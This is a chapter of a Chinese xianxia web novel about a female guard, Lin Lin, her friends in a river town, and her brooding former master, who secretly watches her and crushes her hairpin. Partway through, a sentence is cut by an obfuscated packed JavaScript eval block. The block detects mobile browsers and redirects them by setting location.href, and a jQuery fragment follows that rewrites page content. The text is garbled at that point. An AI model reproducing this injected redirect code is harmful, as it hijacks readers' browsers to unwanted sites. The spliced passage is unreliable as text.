林凛搬去了揽月台很边缘的地方,这里离赵聿年的寝殿极远,相比之前的住处,也小了很多,不过环境很好,推开窗就是云海,有时候云压得很低,像软乎乎的棉被盖在身上。
她适应得很快,尤喜欢如海星一样吸在窗上看云,日子倒也过得很快。
由于不再需要到赵聿年身边当值,林凛闲暇时光多了起来,除了日常修炼,有时也会下山去。
第一次从玄天宗溜出去前,她去找了谢无渊报备,谢无渊头都没抬,点点头表示知道了,只道以后不必告知。
自此后她有事便自行下山,活生生把编制干成兼职,福利待遇一如往常,还不用伺候难伺候的老板,倒真是神仙工作。
林凛包月租了飞剑,初九一大早又下了山,目的地大雍城。
前三年林凛并没逛过大雍城,这座小城是因渡口而兴的江畔城市,兰弋江穿城而过。
江边有许多临江而盖的房子,形成热闹的集市,江面则全是琳琅画舫、水上酒肆等,宾客络绎不绝。
林凛找到其中一个有些老旧的二层小船,船身朱漆剥落了大半,露出灰白的木头,船头挂着一面旗帜,写着“来来”二字,整艘船被手腕粗的绳索绑在码头柱子上,随江上波浪一起一伏。
这便是梅姐、钱老头和那两小孩的落脚地了。
“阿凛。”
“姐姐。”
林凛还未踏入小船,就被围了个结结实实。
顾修远和钱老头在前面开道,莫鸢和梅姐一左一右抱着林凛胳膊,把她往船里引。
一层是散座,七八张方桌,现在时辰还早,没有客人,林凛落座后也很高兴,从储物戒里掏礼物,一个一个发。
“这是护心丹,老钱给你。”
“养颜丹,梅姐,多吃两颗,皮肤保管水灵灵。”
“洗髓丹,一人一份,等会给我看看你们两最近练得如何。”
林凛最后把视线落在顾修远和莫鸢身上。
不过半月未见,两小孩都感觉长大了一截,营养不良的身子也渐渐养了回来了,林凛上次来的时候留了不少灵石,让梅姐和钱老头给两孩子好好补一下,成效属实很快。
顾修远倒了杯热茶,端过来递给林凛:“姐姐,喝茶。”
莫鸢也不像之前那样害羞,明显开朗了,挤在林凛旁边,笑道:“姐姐,怎么这么久不来看我们呀?”
“姐姐有事忙。”顾修远把点心往林凛面前推。
那边钱老头和梅姐已经跑去厨房做饭了。
林凛便跟参加儿童节的家长一样,撑着下巴看顾修远和莫鸢展示近日修炼成果。
玄天宗一年后将开启五年一度的选拔大会,作为第一大宗,极为看重入选弟子的天赋,林凛知道他们的天赋都够强,但因为剧情线的改变,两孩子毫无背景,能不能进玄天宗是个大难题……
林凛想了想,又叮嘱几句,就听见梅姐招呼“快来吃饭吧”。
五人围坐在小方桌旁,虽然小船破旧,桌上饭菜家常,倒也其乐融融。
“阿凛,你上回托我打听的事有下落了。”梅姐夹了菜给她,“紫霄阁对外只说裴仁绍身体抱恙,已经闭关,阁主之位由戒律堂主司庭樾暂代,其他就没有什么特别消息了。”
这结果与林凛猜想的差不多。
司庭樾心机深沉,林凛第一次遇到他时就心知肚明,她和赵聿年拼了老命除掉裴仁绍后,最大得利者就是司庭樾,他的上位不光明,隐瞒理所应当,裴仁绍虽还有旧部,不过以司庭樾的手段都不足为惧。
所以林凛不担心紫霄阁那边,她担心的是旁的事。
用完饭林凛没有久待,天擦黑就御剑回玄天宗。
上次在青阳城跟梅姐和钱老头商量创业的事,其实林凛真正想办的是安保局。
在这个修仙世界,四境八荒共有一十八州,含大大小小无数秘境,且据其特性各不如一,有些秘境宝物俯拾即是,有些则贫瘠艰苦,有些专磨砺意志,有些适合炼体,但无一例外都很危险。
明面上秘境并不归属于任何世家,所有修士都可入境修炼,可碍于秘境的未知性,实际上只有世家才有实力组织门下弟子去秘境寻找机缘、提升修为。
所以尽管散修人口数量庞大但大多修为低下,林凛打算充分发挥自己的不败金身金手指,为散修去秘境修炼保驾护航,类似于建现代的安保公司,以此赚安保费用。
不过赵聿年还未去万剑山修炼,林凛也不可能大张旗鼓直接开始创业,安保局的事目前急不得。
回到玄天宗后,翌日一早林凛又去找了谢无渊。
“谢首领,我想闭关半年。”
只有修为高作用才大,不败金身也会相应提升,林凛如今见不着赵聿年,但总会有机会的,她想替那两个孩子求一求他,好让两孩子进玄天宗。
谢无渊默然片刻,上下打量林凛后忽地问了个不相干的问题:“你如今不必去少主跟前当值,可会难过?”
怎么会这么问,林凛很是出乎意料。
她不觉得自己难过,硬要说大概是遗憾吧,这么粗的大腿没机会抱了……
“自然是难过的,只是少主如此安排定有缘由,属下不敢揣测。”
谢无渊没再说话,定定看着林凛离开的身影,思绪不由地转到了昨日。
当时他正值守在大殿外,猝然听见殿内传来一声“林凛”,林凛显然不在这里,但少主开口谢无渊不能当作没听见。
他快步入了大殿,道:“少主。”
却见赵聿年脸色似乎沉了下来,投过来的目光如有重量,压得人喘不过来气。
半晌后他轻声说:“下去吧。”
谢无渊比赵聿年大好几岁,当年由赵聿年的生母亲自指为亲卫,可以说是亲眼看着那个自小沉默寡言的孩子一路长大。
喜怒不形于色,脾性越加难以捉摸,他那样的人,注定要一个人孤独地走那条通天大道。
可是某日赵聿年把一个瘦弱的小姑娘领了回来,让她当自己的亲卫,谢无渊不敢多加揣测,只把林凛同其他亲卫一般对待。
也许有些事,从一开始就不该发生。
谢无渊下值后直接回到住处,可心里总感觉堵了东西,就想寻人小酌几杯,交好的几个下属都住在东边,谢无渊提了壶酒往东边走,偶然路过一处小院时,他顿住了脚步。
这里是林凛先前的住处,如今已空了多日,可他刚刚听见里面有房门推开的声音。
时值深秋,小院里梧桐树落叶遍地,一片萧条,中间的主屋门窗紧闭。
东侧的厢房却古怪地开着门,谢无渊不由自主地屏住呼吸探头往里看,霎时变了脸色——
一个高大身影定定侧立在对面那扇窗前,身前悬浮的山河仪能探查世间万物,正发出微弱光芒,同洒进来的月光
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310478|198809||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一起笼罩在那人身上,半张脸隐在暗处,半张脸被光染得发白,从眉峰到鼻梁,线条十分冷硬。
谢无渊从第一眼就知晓那是谁,他该立刻离开的,可双腿仿佛被定住,一步也迈不出去。
他眼睁睁看着那人抬起左手,手心似乎攥着一个发簪,很久后他把簪子凑到鼻端,恍若极慢地嗅了一下,可惜动作太轻了,轻得让谢无渊也无法确定。
紧接着,那人目光落回山河仪上,挥了挥右手,山河仪投射的画面陡然变大,画面当中赫然有艘破船,几个身影映在窗户上,瞧上去正举杯推盏,言笑晏晏。
那一瞬,谢无渊亲眼看见那人唇边勾起了弧度,甚至称得上温柔。
可他的眼睛,借助微弱反光才能看清楚的眼睛——没有丝毫温度,如同注定死亡的困兽,克制、清醒却又绝望。
酒壶落地,在深夜发出刺耳的撞地声音。
谢无渊膝盖一软,磕在地砖上,周遭方才还尚存的所有光芒悉数消失,连月光都被云挡住,整个小院陷入彻底的黑暗。
谢无渊心跳如擂鼓,不过隔了多久,熟悉的声音从头顶传来:“看见什么了?”
谢无渊牙齿开始打颤,一个字都说不出来。
“怕什么。”
赵聿年笑了一声,很轻,像是真的遇到好笑的事。
“起来,退下吧。”
月光重新穿透云层,洒落人间,谢无渊手撑地拼命爬起来,一句话不敢说,跌跌撞撞地往外退,退到小院门口时下意识往里面望了一眼。
赵聿年背对院门站在梧桐树前,月光把他的影子拉得很长,他的身姿还是那么笔直。
……如果不去看他鲜血淋漓的左手和地上那摊齑粉。
那分明是没用任何灵力,徒手将簪子一寸寸捏碎……
-
玄天宗有专供弟子闭关的地方,林凛随意挑了个就进去开始潜心修炼。
修士入定后山中无日月,转眼半年闭关之期已到。
盘腿坐在蒲团上的林凛倏然睁开眼,只觉浑身灵气畅通无阻,双目灵光流动,四周事物在眼里就像慢了一个层级,对大千世界有了别样的领悟。
她的修为已然突破金丹后期,到了元婴前期。
可惜出关后修为大涨的喜悦还未散掉,林凛就接到了赵淮山召见她的消息。
赵淮山数年前就已闭关,看来近日也出关了。
林凛再次去了临华殿,却不想大殿里有一人已经到了,他回过头来——
是赵聿年。
林凛与他近一年未见了。
赵聿年容貌毫无变化,还是顶着一张将书里万千男女老少迷倒的俊脸,只是周身气场更加难以亲近,能把人冻僵似的,不知这一年经历了什么。
不过这些都与林凛无关了,林凛是被少主遗弃的亲卫,是无足轻重的炮灰。
只是好歹上下级一场,林凛还是主动冲他笑了笑,但赵聿年面无表情,像没看见一样,径直转过身子,不再看她。
……算了,不气,跟赵聿年这种阴晴不定的男人有什么好生气的。
林凛吸了口气,朝赵淮山和赵聿年行礼后,便谦卑地低着头。
大殿内一时一片悄寂。
但林凛察觉有目光自高处落下来,不紧不慢地在殿内移动,宛若一把钝刀,来回地刮。
“是你们杀了裴仁绍。”高座上的人一字一句道。